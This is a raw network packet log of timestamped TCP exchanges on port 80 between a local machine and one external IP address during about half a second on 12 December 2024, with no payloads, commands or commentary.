Dec 12, 2024 16:48:07.746160030 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.746200085 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.810252905 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.810364008 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.810426950 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.810583115 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.810729980 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.810739040 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.810780048 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.810826063 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.810913086 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.811559916 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.811609983 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.811661959 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.811719894 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.812305927 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.812371969 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.812374115 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.812426090 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.812927961 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.812968969 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.813014984 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.813656092 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.813739061 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.813769102 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.813788891 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.814418077 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.814480066 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.814519882 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.814564943 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.815200090 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.815310001 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.815346956 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.815696001 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.816059113 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.816113949 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.816231966 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.816291094 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.816786051 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.816826105 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.816829920 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.816875935 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.817596912 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.817616940 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.817677021 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.818454027 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.818526030 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.818586111 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.818761110 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.819384098 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.819508076 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.819546938 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.819612026 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.819901943 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.819972038 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.820022106 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.820568085 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.820745945 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.820799112 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.820805073 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.820883989 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.821512938 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.821569920 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.821587086 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.821625948 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.822241068 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.822299957 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.822307110 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.822338104 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.823061943 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.823084116 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.823128939 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.823874950 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.823941946 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.823944092 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.823990107 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.824579954 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.824629068 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.824685097 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.824738979 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.825380087 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.825396061 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.825449944 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.826147079 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.826194048 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.826210022 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.826263905 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.826917887 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.826983929 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.827008963 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.827100992 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.827738047 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.827789068 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.827831030 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.827877998 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.828493118 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.828546047 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.828577042 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.828634977 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.829293966 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.829345942 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.829417944 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.829479933 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.830075979 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.830126047 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.830174923 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.830190897 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.830842972 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.830899954 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.830940008 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.831051111 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.831713915 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.831759930 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.831784010 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.831798077 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.832458973 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.832524061 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.832556009 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.832755089 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.887058020 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.887175083 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.887404919 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.887504101 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.887568951 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.887583017 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.887649059 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.888082027 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.888420105 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.888423920 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.888441086 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.888480902 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.923909903 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.924081087 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.924115896 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.924140930 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.924457073 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.924508095 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.924556017 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.924645901 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.924742937 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.924796104 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.925261974 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.925313950 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.925432920 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.925484896 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.926234961 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.926399946 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.926461935 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.927052021 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.927243948 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.927304983 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.927797079 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.927879095 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.927944899 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.928560972 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.928626060 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.928704023 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.928755045 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.929349899 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.929456949 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.929527998 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.929567099 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.930217981 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.930238962 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.930293083 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.930855989 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.931040049 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.931104898 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.931703091 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.931723118 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.931786060 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.932411909 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.932569981 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.932679892 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.933233976 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.933423042 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.933480978 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.934052944 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.934159994 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.934240103 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.934402943 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.934710979 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.934899092 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.934905052 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.935518980 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.935584068 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.935605049 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.935661077 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.935882092 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.935986996 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.936170101 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.936651945 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.936712027 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.936773062 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.937433958 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.937498093 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.937499046 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.937645912 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.938211918 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.938302040 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.938378096 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.938448906 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:08.002525091 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.002569914 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.002629995 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:08.002834082 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.002906084 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:08.002921104 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.003128052 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:08.003606081 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.003663063 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:08.003684998 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.004029989 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:08.004342079 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.004390001 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:08.004688978 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.004906893 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.004961967 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:08.005470991 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.005533934 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.005542994 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:08.006112099 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:08.006227970 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.006295919 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.006364107 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:08.006985903 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.007105112 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.007160902 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:08.007802010 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.007989883 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.008042097 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:08.008531094 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.008577108 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:08.008652925 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.008985996 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:08.009403944 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.009527922 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:08.009548903 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.009727001 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:08.010132074 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.010204077 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:08.010234118 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.010893106 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:08.010898113 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.011020899 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.011066914 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:08.011068106 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:08.011687040 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.011781931 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.011826992 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:08.012459993 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.012537003 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.012553930 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:08.012583971 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:08.013319969 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.013402939 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:08.013461113 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.013516903 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:08.014010906 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.014065027 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:08.014131069 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.014494896 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:08.014851093 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.014930964 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.014976025 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:08.015577078 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.015675068 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.015717983 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:08.016379118 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.016457081 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.016602993 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:08.017138958 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.017378092 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.017930031 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.017939091 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:08.017963886 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:08.017991066 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:08.018019915 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.018729925 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.018764019 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:08.018774986 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:08.018799067 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.018865108 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:08.019526005 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.019646883 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:08.019654036 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.019821882 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:08.020291090 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.020339966 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:08.020364046 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.021048069 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.021084070 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:08.021097898 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:08.021116972 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.021559000 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:08.021836996 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.021930933 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.021955967 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:08.021981955 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:08.022650957 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.022708893 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:08.022773027 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.023364067 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:08.023397923 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.023536921 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.023643017 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:08.023667097 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:08.024198055 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.024315119 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.024332047 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:08.024358988 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:08.024996996 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.025052071 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:08.025072098 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.025271893 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:08.079886913 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.079933882 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.079952002 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:08.079973936 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:08.080097914 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.080149889 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:08.080236912 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.080313921 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:08.080943108 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.081029892 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:08.081059933 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.081582069 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:08.081672907 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.081732035 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.081737041 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:08.081783056 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:08.115896940 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.115947008 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.116002083 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:08.116255999 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.116378069 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.116426945 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:08.117079020 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.117273092 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:08.117322922 CET	49819	80	192.168.2.11	80.82.65.70
